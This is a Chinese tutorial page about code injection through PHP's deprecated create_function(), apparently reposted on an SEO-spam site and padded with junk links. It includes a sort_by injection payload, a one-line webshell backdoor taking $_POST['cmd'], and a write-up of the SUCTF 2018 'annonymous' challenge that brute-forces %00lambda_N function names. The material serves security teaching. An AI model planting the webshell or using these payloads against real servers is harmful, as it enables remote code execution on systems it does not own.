当前位置: 首页 > wzjs >正文

龙华网站建设设计公司主机公园安装wordpress要多久

龙华网站建设设计公司,主机公园安装wordpress要多久,seo公司名字,seo流量什么是 create_function() create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数: $func create_function($a,$b, return $a $b;); echo $func(1, 2); // 输出 3 第一个参数是函数的参数列表(字符串形式),第二个参…

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。
也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

example.php?code=phpinfo()

代码就会变成:

$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

function($a, $b) {return 1 * strnatcasecmp($a["'"] //  合法访问数组(虽然没啥意义));       //  闭合 return 调用}        //  闭合函数体结构phpinfo(); //  恶意代码执行/*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 create_function() 的定义

create_function() 的定义如下(PHP 官方解释):

create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么“动态创建”的呢?

从 PHP 源码和官方文档的解释来看,create_function() 的内部实现就是用 eval() 把代码构造出来然后执行的

比如:

$func = create_function('$a, $b', 'return $a + $b;');

等价于:

$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建“匿名”函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

<?php$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"."global \$MY;"."\$MY();"."}");
if(isset($_GET['func_name'])){$_GET["func_name"]();die();show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash
接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了


文章转载自:

http://KsyqjQ0I.krtky.cn
http://KmZkE5Qh.krtky.cn
http://KJoJdPkP.krtky.cn
http://oWlvSSHO.krtky.cn
http://XwZpmRV4.krtky.cn
http://thxL1Gh2.krtky.cn
http://WD5o1UzW.krtky.cn
http://KzGslZ6R.krtky.cn
http://KywACc6Y.krtky.cn
http://QNBxpQk7.krtky.cn
http://Yd7dMJbr.krtky.cn
http://6k5WHfl3.krtky.cn
http://oSv3bG0H.krtky.cn
http://tiXGsZt3.krtky.cn
http://95g6ABY0.krtky.cn
http://GhpfOkWP.krtky.cn
http://qm7V3wVr.krtky.cn
http://aaQsWICZ.krtky.cn
http://50G8pS5U.krtky.cn
http://jw7ZMJWi.krtky.cn
http://hG98zUiI.krtky.cn
http://1tjODjEv.krtky.cn
http://QMIHbaxO.krtky.cn
http://XpvpncG8.krtky.cn
http://AhIkMEoa.krtky.cn
http://vKtzgPVx.krtky.cn
http://LqPFyLBT.krtky.cn
http://F9fvsxqu.krtky.cn
http://CPC8jDqj.krtky.cn
http://21I5AgDX.krtky.cn
http://www.dtcms.com/wzjs/632548.html

相关文章:

  • 黄永玉的艺术人生南阳网站优化费用
  • 教育公司网站建设方案wordpress论坛主题模板
  • 成都网站seo排名js特效网站欣赏
  • 精品网站设计蚌埠网站建设专业的公司
  • 天津百度搜索网站排名住建网官网
  • 百度自助网站建设赶集门户网站建设方案
  • 东莞网页模板建站已有网站开发安卓app
  • 英文网站建设怎么样赣州创可通科技有限公司
  • 天津百度推广排名个人做网站seo
  • 游戏网站服务器租用wordpress 产品展示主题
  • 观山湖网站建设网站ico在后台哪里找到
  • 电商网站建设需求分析引言做商城网站产品怎么分布
  • 做的比较好的法律实务培训网站太原网站制作好吗
  • 网站傻瓜式建设e龙岩官网下载电脑版
  • 邯郸做移动网站找谁营销策划方案的目的
  • 做网站的公司好坑啊torrent种子搜索引擎
  • 威海团购网站建设购物网站欢迎页面怎么设计
  • 南昌哪里有建设网站的画册什么网站做方便
  • 村级网站建设 不断增强wordpress 改变js路径
  • 西安西工大软件园做网站的公司宜宾三江新区核酸检测
  • 网站设计方案案例中学网站模板下载
  • 郴州网站制作公司招聘贵州网站制作哪家好
  • 成都网站建设公司电话7x7x7x7x8黄全场免费
  • 山西专业网站建设价目东莞软件有限公司
  • 广州建网站公司排名app软件开发公司哪家好
  • 河北城乡住房建设厅网站做服装团购网站
  • 支持微信支付的网站开发网站关键词排名服务
  • 设计商城商务网站茂名高端模板建站
  • 汕头做网站公司凡科网站建设平台
  • 国外做名片的网站太原seo外包公司